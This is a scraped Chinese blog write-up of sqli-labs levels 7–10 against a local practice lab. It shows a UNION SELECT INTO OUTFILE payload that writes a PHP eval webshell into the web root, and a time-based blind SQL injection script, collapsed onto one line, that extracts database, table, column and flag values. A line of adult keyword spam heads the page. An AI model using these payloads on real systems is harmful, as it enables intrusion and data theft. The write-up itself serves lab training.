日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

sqli-lab--writeup(7~10)文件输出,时间布尔盲注

發布時間:2025/3/8 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sqli-lab--writeup(7~10)文件输出,时间布尔盲注 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前置知識點:
1、outfile是將檢索到的數據,保存到服務器的文件內:
格式:select * into outfile “文件地址”

示例:

mysql> select * into outfile ‘f:/mysql/test/one’ from teacher_class;

2、文件是自動創建的。

3,讀寫文件函數調用的限制

因為涉及到在服務器上寫入文件,所以上述函數能否成功執行受到參數 secure_file_priv 的影響。,

其中當參數 secure_file_priv 為空時,對導入導出無限制
當值為一個指定的目錄時,只能向指定的目錄導入導出
當值被設置為NULL時,禁止導入導出功能

這個值可以通過命令 select @@secure_file_priv 查詢。由于這個參數不能動態更改,只能在mysql的配置文件中進行修改,然后重啟生效。
即:需要mysql數據庫開啟secure-file-priv寫文件權限,否則不能寫入文件。
進入mysql安裝目錄,找到my.ini 修改里面的secure-file-priv參數

如果發現沒有secure_file_priv這個選項,直接再最后添加一個空的即可。
注意:
需要有絕對路徑
文件名里路徑里必須用\代替/

less7:


可知有三個顯示位

根據題目提示使用outfile傳入木馬http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile 'D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php'--+

最后使用蟻劍連接shell

less8

手工注入方式與5節基本相同

less9

知識點: 基于時間型SQL盲注

注入SQL 代碼之后, 存在以下兩種情況:

如果注入的SQL代碼不影響后臺[ 數據庫] 的正常功能執行, 那么Web 應用的頁面顯示正確( 原始頁面) 。

如果注入的SQL 代碼影響后臺數據庫的正常功能( 產生了SQL 注入) , 但是此時Web 應用的頁面依舊顯示正常( 原因是Web 應用程序采取了“ 重定向" 或“ 屏蔽 ”措施)。

產生一個疑問: 注入的SQL 代碼到底被后臺數據庫執行了沒有? 即web 應用程序是否存在SQL 注入?

面對這種情況, 之前講的基于布爾的SQL 盲注很難發揮作用了( 因為基于布爾的SQL 盲注的前提是web 程序返回的頁面存在true 和false 兩種不同的頁面) 。

時間盲注: 界面返回值只有一種,true.無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。這時, 一般采用基于web 應用***響應時間上的差異來判斷是否存在SQL 注入***, 即基于時間型SQL 盲注。

所以方法和less5相通,只是不以回顯而是時間長短來判斷語句的執行情況

找了份大佬的腳本:

import requests import time import datetimeurl = "http://localhost/sql-labs/Less-9/?id=1'"def get_dbname():dbname = ''for i in range(1,9):for k in range(32,127):payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)#if語句里面的sleep(2)為如果注入語句正確瀏覽器就休眠兩秒,也可以和1調換位置(那樣就是如果語句錯誤休眠兩秒)time1 = datetime.datetime.now()#獲得提交payload之前的時間res = requests.get(url + payload)time2 = datetime.datetime.now()#獲得payload提交后的時間difference = (time2 - time1).seconds#time,time2時間差,seconds是只查看秒if difference > 1:dbname += chr(k)else:continueprint("數據庫名為->"+dbname) get_dbname()def get_table():table1 = ''table2 = ''table3 = ''table4 = ''for i in range(5):for j in range(6):for k in range(32,127):payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url + payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:table1 += chr(k)print("第一個表為->"+table1)elif i == 1:table2 += chr(k)print("第二個表為->"+table2)elif i == 3:table3 += chr(k)print("第三個表為->"+table3)elif i == 4:table4 += chr(k)print("第四個表為->"+table4)else:break get_table()def get_column():column1 = ''column2 = ''column3 = ''for i in range(3):for j in range(1,9):for k in range(32,127):payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:column1 += chr(k)print("字段一為->"+column1)if i == 1:column2 += chr(k)print("字段二為->"+column2)if i == 2:column3 += chr(k)print("字段三為->"+column3)else:break get_column()def get_flag():flag = ''for i in range(30):for k in range(32,127):payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:flag += chr(k)print("flag為->"+flag) get_flag()

less10

和9相同,單引號改為雙引號

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的sqli-lab--writeup(7~10)文件输出,时间布尔盲注的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。